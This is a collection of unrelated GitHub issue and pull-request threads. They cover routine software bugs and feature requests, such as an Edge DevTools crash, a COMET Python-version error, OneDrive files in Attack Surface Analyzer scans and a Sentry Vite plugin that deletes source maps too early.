https://docs.splunk.com/Documentation/SplunkCloud/latest/SearchReference/UnderstandingSPLsyntax

I also want support for Splunk queries to highlight.
Let me use this issue to make a PullRequest just to highlight SPL.


Switch unspecified actor translation from +X 'someone' to +XPl 'people'

According to AEW, the more appropriate translation for the unspecified actor (+X, +XO, +PxX) is 'people' (rather than 'someone').
The English phrase FSTs already support this, using the tags (+XPl, +XPlO, +PxXPl) to recognize and generate 'people'.
This conversion to/from crk (+X, +XO, +PxX)  to/from eng (+XPl, +XPlO, +PxXPl) needs to be implemented in the tag mappings, and the tests need to use people.

@fbanados I tried to already implement this in the main and dev branches, but ran into an error I couldn't resolve.

Yes, I corrected my original note above.

Although all test currently pass, the robot definitions are populated at importjsondict time.  I've started running the command on the itwewina.altlab.dev docker container, but it looks like it will take a while.  Once that's finished, I'll change the status of this issue to review.

This behaviour has been deployed to itwewina.altlab.dev, to be reviewed and issue closed.


added functions for sampling gene expression scale from vae

I added scale_from_z to vae scvi/models/vae.py and get_harmonized_scale to scvi/inference/posterior.py to compute differential expression

@chenlingantelope you need your code to pass the flake8 as well as the unit tests

Please resubmit

@romain-lopez looks like it passed the test so I merged it. If you can double check it that would be good.


update:git ignore

Thanks @wirelesswithbrain - can you explain why this is necessary?

it just gives better understanding

I understand it better.

Please give more context how this is more helpful, and then we can reconsider why this is necessary.


/dev/net/tun device is missing from hyperstart

hyperstart doesn't setup the /dev/net/tun interface inside containers, which means using tun devices does not work unless it is explicitely setup in the image:
mkdir /dev/net
mknod /dev/net/tun c 10 200

solves the problem, but it seems like hyperstart should probably handle this?

@wrouesnel Hi,
Maybe not by default, as oci runtime-spce[https://github.com/opencontainers/runtime-spec/blob/master/config-linux.md#default-devices] said, tun device is not the default device.
Maybe We should provide a way to specify the device nodes that need to be created by hyperstart.
Thanks for your suggestion!


feature flag NFTs

What does this PR do and why?
Provide a description of what this PR does. Link to any relevant GitHub issues, Notion tasks or Discord discussions.
Screenshots or screen recordings
If applicable, provide screenshots or screen recordings to demonstrate the changes.
Acceptance checklist

[ ] I have evaluated the Approval Guidelines for this PR.
[ ] I have tested this PR in all supported browsers.
[ ] I have tested this PR in dark mode and light mode (if applicable).

Current dependencies on/for this PR:

main

PR #2315   👈

This comment was auto-generated by Graphite.

Graphite Merge Job
Current status: 🔄 Waiting for checks to pass
This pull request is currently waiting for CI and mergeability checks to pass before being merged.
This comment was auto-generated by Graphite.

Job Reference: 5hnII290vum6FkNNUUml


footnote not rendering in task item

Please check that this issue hasn't been reported before.

[X] I searched previous Bug Reports didn't find any similar reports.

Expected Behavior
Render footnote link in task item
Current behaviour
non-inline footnote is not rendered in reading view when applied in task item, with tasks plugin installed
Steps to reproduce
Tasks plugin footnote in task.md

Which Operating Systems are you using?

[ ] Android
[ ] iPhone/iPad
[ ] Linux
[ ] macOS
[X] Windows

Obsidian Version
1.4.5
Tasks Plugin Version
4.6.1
Checks

[X] I have tried it with all other plugins disabled and the error still occurs

Possible solution
No response

Yes, this has been a known limitation of Tasks for some time.
It's in the docs:
Load this page and search for footnote:
https://publish.obsidian.md/tasks/Getting+Started/Getting+Started#Limitations+and+warnings

There are not plans to change this aspect of the rendering, and in the 1.5 years or so I've been tending to Tasks, this has been the only request, so it's definitely not a high priority to fix, in view of the large number of other more common requests.

I know this is closed, but I'd like to add my +1 so that you at least know there's other people who would have liked this to be fixed.
I like to include more info about "why a task needs to be done",
but this can make the task list unwieldy,
keeping it in a footnote helps to keep the list much cleaner and more functional.

Feel free to give it a 👍.
And thank you for not creating a duplicate request.


Add settings to turn off icons in go to symbols

Does this issue occur when all extensions are disabled?: Yes

VS Code Version: 1.70.0
OS Version:macOS 12.5

Can icons before symbols be hidden like the file list?
E.g.
icons in outline can be hidden by:
"outline.icons": false,

icons in explorer and go to file list can already be hidden by:
"workbench.editor.showIcons": false,
"workbench.iconTheme": null,

Steps to Reproduce:

Go / Go to File...

This feature request is now a candidate for our backlog. The community has 60 days to upvote the issue. If it receives 20 upvotes we will move it to our backlog. If not, we will close it. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

This feature request has not yet received the 20 community upvotes it takes to make to our backlog. 10 days to go. To learn more about how we handle feature requests, please see our documentation.
Happy Coding!

:slightly_frowning_face: In the last 60 days, this feature request has received less than 20 community upvotes and we closed it. Still a big Thank You to you for taking the time to create this issue! To learn more about how we handle feature requests, please see our documentation.
Happy Coding!


Add PostgreSQL

@jhnferraris since the support/eol dates match for postgres, I've removed the support column. diff.
See on the website
If you think this is incorrect/misleading, let me know :)

Cool! Thanks for the clarification


support multiple namespaces - breaking change

This is a BREAKING CHANGE, because the type of namespaceSelector is changed from string to array
Rewrite the MutatingWebhookConfiguration to allow adding multiple namespaces.
Fixes https://github.com/danfromtitan/envars-from-node-labels/issues/16

This change would make sense if someone needs to use existing label that has different value on namespaces, though. What do you think?

That would obscure the configuration, I like using the list of namespaces because it's more explicit.
Please increase the chart version and I'll merge.

Done.

Tests passed, thank you for your contribution.


New Edge version 125, DevTools - Application tab make browser crash

Just updated to the new 125 version, doing my normal development work, opened the DevTools, went to "Application" tab, then the Edge browser crashed.
Rollback to version 124.0.2478.109, the browser is not crashing anymore.
Steps to reproduce:

Create an app with a web app manifest that defines an icon with no size property.
Run the app in Edge 125 or 126.
Open DevTools.
Open the Application tool.

Result: Edge hangs for a few seconds and then crashes.
AB#51532435

Sorry about this. Is this still occurring for you? Does it always happen on the same webpage, or on all webpages?
If it's always on the same one, it would help us so much if you could create a minimal reproduction webpage (or just provide the URL if it's a public one).

same thing. but i guess chrome also experience the same bug.

BTW, the issue doesn't exist in canary chrome.

sorry for the delay for providing more info, but good news is our development team has figured out what was the problem. it was because of in the web manifest file, one of the icons item was missing the "sizes" property, after specified the "sizes" property, even put wrong size info, the Edge browser is not crashing anymore.
again this is only happens on Edge browser version 125. rollback to version 124 also not crashing. Chrome browser working fine.

@GangDEV thank you for responding, and even more for figuring out the exact steps that make it crash.
I was able to confirm locally:

Create an app with a web app manifest that defines an icon with no size property.
Run the app in Edge 125 or 126.
Open DevTools.
Open the Application tool.

Result: Edge hangs for a few seconds and then crashes.

I will make sure our dev team sees and prioritizes this.

same thing. but i guess chrome also experience the same bug.

Yeah, I was also able to reproduce this in Chrome.

My issue got closed as a duplicate of 341319146 where a fix has been made! So this issue will go away soon.


Refactor/20230418 drbitboy more tests

Adding more unit tests; USE_CFITSIO is not #defined in my build, so CFITSIO tests are not yet checked out.
Found and highlighted, but did not fix yet, bug in short typename utilitiy routine.

All good, apologies for the delay and thanks for all the tests! I'll fix the UI64 bug you noted on dev ASAP.

All good, apologies for the delay and thanks for all the tests! I'll fix the UI64 bug you noted on dev ASAP.


What did you do with the dense depth map in the result

Hello, it's a great honor to refer to your work，I'm making subsequent point cloud processing for your depth completion results，When using the pictures posted in the paper, I can succeed，However, when I use the results you published in result or the results of my own test, I will fail。So I want to know what you did with the depth completion results，thank you。

Sorry I didn't get the point of your question.
I think you may have different input value ranges between images [0, 255] and depth completion results [0, 80~100]?


BlockFetch termination failure

    termination:                                                FAIL (46.42s)
      *** Failed! Falsified (after 100 tests and 10 shrinks):

...

      block-fetch was unstoppable
      Use --quickcheck-replay=223266 to reproduce.
      Use -p '/termination/' to rerun this test only.

Unfortunately, the test case was too long to fit in a GitHub message.  We should improve the shrinker.

https://ci.iog.io/build/2136000/nixlog/1


Make adj more flexible, reduce required coverage when haploid

Looks good. One thing, this should probably be an optional flag so that we have documentation that this is not how we did it in v2

I added an extra argument for it, so it's clearer / more flexible. I've set it to 10 as default to reflect gnomAD v2 value.


Error when running example data: "XLMHG error"

Hi,
Thank you for publishing your new algorithm. I am really excited about it! I think it is a common obstacle to find the right markers on the protein level after doing single cell RNA seq.
Could you help me troubleshooting the error message I get when running the test dataset you provided?
The first error is the missing mhg_cython C extension which does not seem to be critical. The XLMHG error appears to have problems with the markers file. I get the same error messages when running my own data.
(comet_env) COMPUTER1:example_ins USER1$ Comet tabmarker.txt tabvis.txt tabcluster.txt output/
Warning (xlmhg): Failed to import "mhg_cython" C extension.
Warning (xlmhg): Failed to import the "mhg_cython" C extension.Falling back to the pure Python implementation, which is very slow.
Started on 2019-06-03T22:14:39.260567
Reading data...
Generating complement data...
[1]
########
# Processing cluster 1...
########
2 gene combinations
Running t test on singletons...
Calculating fold change
Running XL-mHG on singletons...
X = 0
L = 10
Cluster size 5
XLMHG error
('get_xlmhg_stat() takes from 3 to 4 positional arguments but 6 were given', 'occurred at index AAMP')
q-val error
local variable 'xlmhg' referenced before assignment
error in sliding values
local variable 'xlmhg' referenced before assignment
Creating discrete expression matrix...
discrete matrix construction failed
local variable 'cutoff_value' referenced before assignment
Process Process-1:
Traceback (most recent call last):
  File "/usr/local/Cellar/python/3.7.2_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/multiprocessing/process.py", line 297, in _bootstrap
    self.run()
  File "/usr/local/Cellar/python/3.7.2_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/multiprocessing/process.py", line 99, in run
    self._target(*self._args, **self._kwargs)
  File "/anaconda3/bin/comet_env/lib/python3.7/site-packages/Comet/__main__.py", line 329, in process
    discrete_exp_full = discrete_exp.copy()
UnboundLocalError: local variable 'discrete_exp' referenced before assignment
[2]

Then the same error messages are repeated for cluster 2. The script ends without creating output files. Im running python 3.7.2 on macosx 10.13.6 and made the installation via virtualenv / git clone.
Thank you!

Hello!
Thanks for reaching out, I think I have the solution. The 'mhg_cython' install is a codependency with the xlmhg package, which we use as our statistical test. I believe the xlmhg package is currently only supported by python 3.6 versions and it is very much necessary for the tool to run. If you use a python 3.6 virtual environment it should install correctly and work from there. Double-back here if you run into more issues!

Please see "Installing via a Virtual Environment" in our documentation:
https://hgmd.readthedocs.io/en/latest/quickstart.html
and let us know if that doesn't work for you.

Switching back to python3.6 did the trick indeed - thank you for your quick help @Cnrdelaney and @MeromitSinger!
(In case anybody else is using scanpy for scRNAseq data exploration, this is the export formatting I used:)
# markers.txt
markers = pd.DataFrame(data=adata.T.X, index=adata.var_names, columns=adata.obs_names)
markers.to_csv('markers.txt', sep='\t', index_label=False)

# vis.txt
vis = pd.DataFrame(data=adata.obsm['X_draw_graph_fa'], index=adata.obs_names)
vis.to_csv('vis.txt', header=False, sep='\t')

# cluster.txt
cluster = pd.DataFrame(data=adata.obs['cluster'], index=adata.obs_names)
cluster.to_csv('cluster.txt', header=False, sep='\t')

Thanks @tilofreiwald ! We indeed intend for COMET to be a simple expansion from scanpy, and your input is appreciated :-)

Hello,
I'm getting the exact same error using Python 3.6.10.
I have a conda environment instead of virtualenv though, should this matter?

Dear maintainer, I am wondering if anything can be done about supporting Python3.7 and beyond? Looking at this schedule, it looks like Python3.6 will no longer be supported at the end of this year. https://www.python.org/downloads/. Thank you.

Hello, @MeromitSinger
I found the same problem with running example data. I followed the recommendation to create a virtual environment with python 3.6 on windows 10. However, it kept running the same error. I noticed that @tilofrei did the analysis on Mac OS. Is there any difference between windows and Mac?


How does this work

am so confused Idk how this works it doesn't give enough details please help

simply: selfbot downloads users pfp usernames etc.


[request] toggle button for dark mode

Even though I have a dark theme set for my computer, the option to easily toggle between dark mode on/off from the theme itself would be useful.  :smile:

Create A Dark/Light Mode Switch with CSS Variables
Light and dark page toggle

This has been implemented in the latest version (0.5.9) 🌓


using int instead of int32 when calling Raylib functions?

This is a general Nim question and not specific to Naylib so feel free to delete and send me to the forums instead
Using a tuple in the code I have to declare the values as int32, why is that? And is there a way to tell the compiler to use  int32?
import raylib
const
  screenW = 800
  screenH = 600
  screenSize = (x: 800, y: 600)

proc main(): void =
  # works
  initWindow(screenW, screenH, "testing")

  # does not work. Error: type mismatch
  initWindow(screenSize.x, screenSize.y, "testing")

main()

No idea really, const implicit types buffle me as well.


Repeatedly asks for a rating

"Rate app" dialog needs a button, "Don’t ever ask me again".
Originally posted by @andrewshadura in https://github.com/omapsapp/omapsapp/issues/154#issuecomment-780091741

I think that I remved this feature, but I'm not 100% sure.


Very slow on 2017 iMac running Big Sur 11.4. Beta

Hey there!
I really really like this project and would love to use Curiosity to browse reddit, but on my 2007 iMac running macOS Big Sur 11.4 Beta (twas the same with earlier versions of Big Sur), the software is very unresponsive and slow beyond usability. I refuse to believe that my hardware is too old or slow to run something like this so it may have something to do with swiftUI? Other users however do not seem to have similar problems, judging by the absence of relating issues here on github.
System Information:
macOS Bg Sur Version 11.4 Beta (20F5046g)

Unfortunately SwiftUI is very slow on macOS. I had not so great performances on a MacBook Pro 16", and I start to have really good performances on my newly 13" M1, that's why I've started to update the app again.
Nothing I can really do.... appart from rewriting it using AppKit which defeat the purpose of this project.
Let's hope Apple make it faster on macOS at the WWDC!

Hello
I just want to chime in that on my 2009 MBP 15”, it’s a little slow but it’s certainly usable. I actually thought it would be slower…
Thanks for working on this.

On May 16, 2021, at 2:18 PM, Thomas Ricouard @.***> wrote:
Unfortunately SwiftUI is very slow on macOS. I had not so great performances on a MacBook Pro 16", and I start to have really good performances on my newly 13" M1, that's why I've started to update the app again.
Nothing I can really do.... appart from rewriting it using AppKit which defeat the purpose of this project.
Let's hope Apple make it faster on macOS at the WWDC!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/Dimillian/RedditOS/issues/34#issuecomment-841788032, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAALOAUBDGC4TC6U5D4SZMTTN6BHFANCNFSM446W4CWA.

Did macOS Monterey bring any performance improvements for SwiftUI apps? 🤔

Did macOS Monterey bring any performance improvements for SwiftUI apps? 🤔

Haven't thought of testing it in the beta yet but on the first public beta, Java applications ran absolutely disastrous, which was fixed in the current public beta. Maybe that performance boost applies to swift UI as well, gonna test it tomorrow.

Did macOS Monterey bring any performance improvements for SwiftUI apps? 🤔

@angristan Not sure about the potential performance, but the app plainly doesn't work on my Monterey beta. Forever stuck in an empty loading screen. (Latest relesae on github)

Making a build for beta 3, performances are much much better!

oooh that's really good news! I'm not on the beta rn but I can't wait to use Curiosity later this year 🙌


os/sdk: include notes on dealing with the arm64 build

Closed in favor of pulling into fork topic branch and sending upstream to coreos/docs#716.


ASA attempts to download entire OneDrive repository to disk

When running an ASA scan (filesystem collector), ASA triggers the download of every file in a user's OneDrive account, potentially filling up the entire disk.
To Reproduce

Configure Windows account with a Microsoft OneDrive account
Ensure "Save space and download files as you use them" is enabled in Settings
Start ASA scan
Observe flurry of OneDrive activity

Expected behavior
ASA to skip cloud-specific reparse points.
System Configuration:

OS: Windows 10
OS Version: 18362.113
Application Version: asagui-windows-2.0.143
CLI or GUI: gui

Yikes! Thanks for the report, @riverar!
I image this could happen with Dropbox, and others, plus Git/GVFS, similar -- It seems like these files could have attributes like FILE_ATTRIBUTE_REPARSE_POINT, FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS, FILE_ATTRIBUTE_SPARSE_FILE, FILE_ATTRIBUTE_OFFLINE, etc., which unfortunately don't seem to be exposed via .NET Core, so we might have to go to an OS-specific check on Windows, and dig into what to do on Linux and macOS.

I already skip everything marked as a RESPARE_POINT to skip symlinks so we don't hit loops, so OneDrive must be using another mechanism.
Thanks for the report. A fix for this will be pushed to the 2.0 branch.

Thanks @scovetta @gfs. The directories and files have reparse tags but you're right, they're specially not marked specifically as reparse points. (They rely on pinned/unpinned attributes to indicate physicality on disk.)
I'm not familiar with the overall architecture or goals of ASA, so it's unclear if this presents an area of possible "hidden change". For a tool that is relied upon to report changes anywhere and everywhere, this could be a critical blindspot.
If that's not a concern, a back of the napkin fix could be to do something like this:
 namespace AttackSurfaceAnalyzer.Utils
 {
     public class DirectoryWalker
-    {
+    {
+        private enum FileAttributesEx
+        {
+            FILE_ATTRIBUTE_UNPINNED = 0x00100000,
+            FILE_ATTRIBUTE_RECALL_ON_OPEN = 0x00040000,
+            FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS = 0x00400000
+        }
+
         public static IEnumerable<FileSystemInfo> WalkDirectory(string root)
         {
             // Data structure to hold names of subfolders to be
@@ -125,6 +132,12 @@ namespace AttackSurfaceAnalyzer.Utils
                             Log.Verbose("Skipping symlink {0}", str);
                             continue;
                         }
+
+                        if (!IsPhysicallyPresent(fileInfo))
+                        {
+                            Log.Verbose("Skipping virtual directory {0}", str);
+                            continue;
+                        }                                                                                }
                     catch (System.IO.DirectoryNotFoundException e)
                     {
@@ -148,5 +161,12 @@ namespace AttackSurfaceAnalyzer.Utils
                 }
             }
         }
+
+        private static bool IsPhysicallyPresent(FileSystemInfo fileSystemInfo)
+        {
+            return !(fileSystemInfo.Attributes.HasFlag(FileAttributesEx.FILE_ATTRIBUTE_UNPINNED) ||
+                fileSystemInfo.Attributes.HasFlag(FileAttributesEx.FILE_ATTRIBUTE_RECALL_ON_OPEN) ||
+                fileSystemInfo.Attributes.HasFlag(FileAttributesEx.FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS));
+        }
     }
 }

Hey @riverar thanks so much for this proposed patch!
I'm leaning towards skipping these files by default and adding a cli argument to include them. This is in line with other behavior we have to skip because they have system only permissions (C:\pagefile.sys) or are otherwise too noisy to be useful.

It looks like this proposed method won't work. Unfortunately Attributes.HasFlag checks the type of the enum passed in and requires it to be a System.IO.FileAttributes which does not have the Pinned attribute as one of its options.
An alternate method for doing this is to call out to ATTRIB.exe or use Powershell (which I'll investigate). But it looks like this isn't built into .NET Core.

I'd just break fileSystemInfo.Attributes down and do the check yourself.
(e.g. ((uint)fileSystemInfo.Attributes) & FILE_ATTRIBUTE_UNPINNED) != 0 )

Alas, the attributes in filesysteminfo.attributes appear to be actually limited to the enums in System.IO.FileAttributes, rather than being backed by the "true", more elaborate state of the flags.

Looks like the best approach is to P/Invoke GetFileAttributesExA.

@gfs Isn't clear why you couldn't just use FileSystemInfo.Attributes like demonstrated above. Am I missing something?

I tried. .net core exposes a managed cross platform enum with limited fields. Not the underlying properties field.
Sent from ProtonMail Mobile
On Fri, May 31, 2019 at 2:19 PM, Rafael Rivera<EMAIL_ADDRESS>wrote:

@gfs Isn't clear why you couldn't just use FileSystemInfo.Attributes like demonstrated above. Am I missing something?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.


Build and design "top box" component

This PR concentrates on the top-most "box" in the screenshot above.
Features Implemented

The "box" is fully functional

A public Github URL can be typed into the text box, and when the "Go" button is clicked, the "markdown display" box is populated with content

The "box" adheres to our overall design aesthetic (#10 )

Text box has custom styles on hover and on focus
Button demonstrates styles defined by our new CustomButton reusable component
Content is centered with the appropriate surrounding negative space

Features Not Implemented

No loading indicators or animations of any kind

This isn't the responsibility of the "top box" to handle

You're right. Let me rebase this branch onto the new master

@ralph-dev should be all good now. What do you think?


Easy way to process "listen_to" and "respond_to" without duplicating the regex?

I was just looking at the dispatch code here where listen_to and respond_to are handled.
I'd like to have a bot be able to respond to a regex "trigger" without being addressed in a public channel (listen_to), and allow the same trigger in a private message to the bot to return the same info via a private reply (respond_to).
It seems like the only way to do that right now is to add both decorators, duplicating the (in this case, somewhat complex) regex, where they could get easily out of sync. In addition, there is all the internal duplication in _register_plugin_actions(), which then also doubles up robot help, etc..
I'm thinking a @listen_or_respond_to decorator could set up a respond_to action with a new flag that indicates whether or not the respond_to_msg check should be ignored. Does that seem reasonable? Would a PR with that functionality be accepted?

Hey @eddyg, I'm only seeing this issue and your PR now. Your contribution is much appreciated. I do wonder however, if what you're describing (bot responding to "naked" messages without mention and also responding to the same regex in a DM convo) shouldn't be the default behaviour of listen_to. Then we wouldn't need an extra decorator. Then the only difference between listen_to and respond_to would be in non-DM messages because you'd need to mention the bot in case of respond_to.
Your thoughts?

Hey @eddyg, I'm only seeing this issue and your PR now. Your contribution is much appreciated. I do wonder however, if what you're describing (bot responding to "naked" messages without mention and also responding to the same regex in a DM convo) shouldn't be the default behaviour of listen_to. Then we wouldn't need an extra decorator. Then the only difference between listen_to and respond_to would be in non-DM messages because you'd need to mention the bot in case of respond_to.
Your thoughts?

That sounds good to me (and how I expected plugins to work during my testing). I didn't know if a substantial change in behavior like that would be acceptable or not, so I went the "safe" route with my PR. 😉

That sounds good to me (and how I expected plugins to work during my testing). I didn't know if a substantial change in behavior like that would be acceptable or not, so I went the "safe" route with my PR. 😉


Target minimal API Sets version for AdvApi32

Work for #84

Looks really good. Thanks.
Just fix the build break and comments, then feel free to merge.

BTW, I found some value in the fact that the Kernel32 unit test projects had a desktop and profile92 version so that both APISets and kernel32.dll methods were exercised. Should we do that here as well?

I would do it as soon as we have at least one unit test. My concern here is why we don't have unit tests.
PInvoke against windows services tests would involve create a service (and builds with elevated privileges)
What else could we test here, the helper methods?

Fair point on the tests.


Setup Npm in the Project

Currently it using pure vanilla js , it would be better if we use npm so setup npm and modfiy firebase\firebase-config.js and script\script.js
Checklists

[ ] Setup npm and env file
[ ] Allow a way to connect env variables with firebase credentials
[ ] setup package.json

Thank you for your interest, but this repository is exclusively for participants from our college

ok Brother But thanking and keep it up

Hi Harshit, i'd love to work on this.

@adityaKrishan651 Thanks for your showing interest. assigning the issue to you

what scripts are to be added in the package.json file

Currently it requires dotenv and firebase

For running the npm packages you will need a bundler like parcel , but I will prefer you to use vite

could you please send some documentation as this is my first time working with node in vanilla js and html

https://vite.dev/guide/

Thanks got it


sentry-file-deletion-plugin writeBundle hook Error in v2.21.0

Environment
Vite, Vue, Quasar
What version are you running? Vite v2.9.13, Vue v3.2.29, Quasar v2.16.0
Steps to Reproduce

Install @sentry/vite-plugin v2.21.0
Run npm run build

Expected Result
The app will continue building without tripping over @sentry/vite-plugin.
Actual Result

Pinning @sentry/vite-plugin to the version listed in our previous package-lock.json file, v2.16.1, made it so the app would successfully build.

@sebellows it might be that v2 of vite doesn't like the way we define the plugin.
@ShugKnight24 and @parvez-proveway, since you gave the issue a thumbs up, what Vite versions are you using?

@sebellows it might be that v2 of vite doesn't like the way we define the plugin. We're only testing with vite >=3, and unofficially that's probably the minimum supported version. (We should probably add peer deps)
@ShugKnight24 and @parvez-proveway, since you gave the issue a thumbs up, what Vite versions are you using?

Looks like my fault, https://github.com/vitejs/vite/pull/9634 writeBundle object is only supported in v3, Do I need to add compatibility code here?

@tyouzu1 if you can come up with a way to add compatibility for v2 that isn't too hacky that would be amazing. Otherwise we might have to revert your PR because it breaks existing users which is more important than supporting new use-cases like the legacy vite compat 🤔

In most instances I'm running Vite 5.3 or 5.3.3. If it's a lower version compatibility thing, it's likely when I use Vite with the Quasar framework. They have their own vite instance called @quasar/app-vite and the two other projects I'm running these versions

Looks like they pushed a new update yesterday, will test to see if the problem persists

@sebellows it might be that v2 of vite doesn't like the way we define the plugin. We're only testing with vite >=3, and unofficially that's probably the minimum supported version. (We should probably add peer deps)
@ShugKnight24 and @parvez-proveway, since you gave the issue a thumbs up, what Vite versions are you using?

Adding the peer dependency would help communicate the requirement, because I would have expected this type of breaking requirement change to not happen in a minor release. However, we are definitely behind in our version of Vite because of Quasar's app-vite plugin. In the meantime, I've removed the ^ from the plugin version in our package.json and we'll need to wait for Quasar to get their app-vite plugin out of beta with Vite v5.3, because right now their last release still relies on Vite v2.9.13.

@tyouzu1 if you can come up with a way to add compatibility for v2 that isn't too hacky that would be amazing. Otherwise we might have to revert your PR because it breaks existing users which is more important than supporting new use-cases like the legacy vite compat 🤔

I took some time to check the actual problem, I realized the real reason for the wrong order of deleting tasks.
https://github.com/getsentry/sentry-javascript-bundler-plugins/blob/c68361a636992e9f656f82f46fff031f1da18ba9/packages/bundler-plugin-core/src/plugins/sourcemap-deletion.ts#L35
The second trigger sentry-file-deletion-plugin using a promise that has already been resolved

@tyouzu1 thanks for the PR. Can you elaborate your thought process? I can't really follow why you think there is an issue. How is the order wrong?

@tyouzu1 thanks for the PR. Can you elaborate your thought process? I can't really follow why you think there is an issue. How is the order wrong?

As I said before, some vite plugins use the outputOptions of writeBundle
If it is called, this is the last hook of the output generation phase and may again be followed by [outputOptions](https://rollupjs.org/plugin-development/#outputoptions) if another output is generated
For example, During the build process

after the legacy plugin builds the productxxx-legacy.js xxx-legacy.js.map, it is triggered for the first time
After the normal product is built xxx.js xxx.js.map index.html, trigger it again(I believe if there are more build artifacts, it will trigger more times)

These builds will trigger the writebundle hook, I believe this is easy to see.
Of course, if there is only one build, these problems cannot be discovered.No further details
// v 2.20.1
sentryVitePlugin({
      debug: true,
      org: "xxx",
      project: "xxx",
      authToken:
        "xxxx",
      release: {
        name: "test11",
        // cleanArtifacts: true,
        uploadLegacySourcemaps: {
          paths: [`dist`],
          urlPrefix: "~/abc/",
        },
      },
      sourcemaps: {
        filesToDeleteAfterUpload: [`dist/**/*.js.map`],
      },
      url: "https://sentry-new.xxx.com/",
    }),

vite v5.3.3 building for production...
✓ 35 modules transformed.
computing gzip size (1)...[sentry-vite-plugin] Debug: No `sourcemaps.assets` option provided, falling back to uploading detected build artifacts.
[sentry-vite-plugin] Debug: Waiting for dependencies on generated files to be freed before deleting...
dist/assets/polyfills-legacy-ClJsSY4b.js   71.52 kB │ gzip: 28.90 kB
dist/assets/index-legacy-DkA8posW.js      144.97 kB │ gzip: 46.95 kB │ map: 353.86 kB
[sentry-vite-plugin] Debug: Could not determine debug ID from bundle. This can happen if you did not clean your output folder before installing the Sentry plugin. File will not be source mapped: /xxxxx/demo/vite-project/dist/assets/polyfills-legacy-ClJsSY4b.js
> Found 2 files
> Analyzing 2 sources
> Analyzing completed in 0.002s
> Adding source map references
> Bundling completed in 0.027s
> Bundled 2 files for upload
> Bundle ID: 06da3aa7-feed-5892-ab3c-63b7bb0f4293
> Optimizing completed in 0.001s
> Uploading completed in 0.396s
> Uploaded files to Sentry
error: release not found

Add --log-level=[info|debug] or export SENTRY_LOG_LEVEL=[info|debug] to see more output.
Please attach the full debug log to all bug reports.
[sentry-vite-plugin] Info: Successfully uploaded source maps to Sentry
> Found 3 files
> Analyzing 3 sources
> Analyzing completed in 0.001s
> Rewriting sources
> Rewriting completed in 0.016s
> Adding source map references
> Bundling completed in 0.046s
> Bundled 3 files for upload
> Bundle ID: 1584363a-2c07-5aa9-b617-7223219cd297
> Optimizing completed in 0.001s
> Uploading completed in 0.417s
> Uploaded files to Sentry
> Processing completed in 0.129s
> File processing complete
> Organization: tlabs
> Project: tiktok-sale-chanel
> Release: test11
> Dist: None
> Upload type: release bundle

Source Map Upload Report
  Scripts
    ~/abc/assets/index-legacy-DkA8posW.js (sourcemap at index-legacy-DkA8posW.js.map)
    ~/abc/assets/polyfills-legacy-ClJsSY4b.js (sourcemap at index-legacy-DkA8posW.js.map)
  Source Maps
    ~/abc/assets/index-legacy-DkA8posW.js.map
[sentry-vite-plugin] Debug: Deleting asset after upload: /xxx/demo/vite-project/dist/assets/index-legacy-DkA8posW.js.map
computing gzip size (3)...[sentry-vite-plugin] Debug: Waiting for dependencies on generated files to be freed before deleting...
[sentry-vite-plugin] Debug: Deleting asset after upload: /xxx/demo/vite-project/dist/assets/index-9funETI3.js.map
[sentry-vite-plugin] Debug: No `sourcemaps.assets` option provided, falling back to uploading detected build artifacts.
dist/index.html                   1.73 kB │ gzip:  0.82 kB
dist/assets/react-CHdo91hT.svg    4.13 kB │ gzip:  2.05 kB
dist/assets/index-rDvlKsbK.css    1.40 kB │ gzip:  0.73 kB
dist/assets/index-9funETI3.js   144.02 kB │ gzip: 46.39 kB │ map: 349.69 kB
[sentry-vite-plugin] Debug: Could not determine debug ID from bundle. This can happen if you did not clean your output folder before installing the Sentry plugin. File will not be source mapped: /xxx/demo/vite-project/dist/assets/polyfills-legacy-ClJsSY4b.js
[sentry-vite-plugin] Debug: Could not determine source map path for bundle: /xxx/demo/vite-project/dist/assets/index-9funETI3.js - Did you turn on source map generation in your bundler?
[sentry-vite-plugin] Debug: Could not determine source map path for bundle: /xxx/demo/vite-project/dist/assets/index-legacy-DkA8posW.js - Did you turn on source map generation in your bundler?
> Found 2 files
> Analyzing 2 sources
> Analyzing completed in 0s
> Adding source map references
> Bundling completed in 0.011s
> Bundled 2 files for upload
> Bundle ID: 541561ec-2fa9-512b-8c4d-3655102a550d
> Optimizing completed in 0s
> Uploading files...
> Found 3 files
> Analyzing 3 sources
> Analyzing completed in 0s
> Rewriting sources
> Uploading completed in 0.318s
> Uploaded files to Sentry
error: release not found

Add --log-level=[info|debug] or export SENTRY_LOG_LEVEL=[info|debug] to see more output.
Please attach the full debug log to all bug reports.
[sentry-vite-plugin] Info: Successfully uploaded source maps to Sentry
> Bundling completed in 0.019s
> Bundled 3 files for upload
> Bundle ID: 6166c0b0-d3ad-53c1-ab99-8a5586a0e451
> Optimizing completed in 0s
> Uploading completed in 0.396s
> Uploaded files to Sentry
> Processing completed in 0.195s
> File upload complete (processing pending on server)
> Organization: tlabs
> Project: tiktok-sale-chanel
> Release: test11
> Dist: None
> Upload type: release bundle

Source Map Upload Report
  Scripts
    ~/abc/assets/index-9funETI3.js (sourcemap at index-9funETI3.js.map)
    ~/abc/assets/index-legacy-DkA8posW.js (sourcemap at index-legacy-DkA8posW.js.map)
    ~/abc/assets/polyfills-legacy-ClJsSY4b.js (no sourcemap ref)
      - warning: could not determine a source map reference (Could not auto-detect referenced sourcemap for ~/abc/assets/polyfills-legacy-ClJsSY4b.js)

According to the log, it is obvious that the code of the sentry plugin is triggered twice.
Let's look at the order of the debug logs
// ------------------------- [ Waiting   dependencies first time ] -------------
[sentry-vite-plugin] Debug: Waiting for dependencies on generated files to be freed before deleting...
dist/assets/polyfills-legacy-ClJsSY4b.js   71.52 kB │ gzip: 28.90 kB
dist/assets/index-legacy-DkA8posW.js      144.97 kB │ gzip: 46.95 kB │ map: 353.86 kB
.....
// ------------------------- [ Upload before Delete ] ----------
[sentry-vite-plugin] Info: Successfully uploaded source maps to Sentry
.....
// ------------------------- [ Deleting  index-legacy-DkA8posW.js.map ] ----------
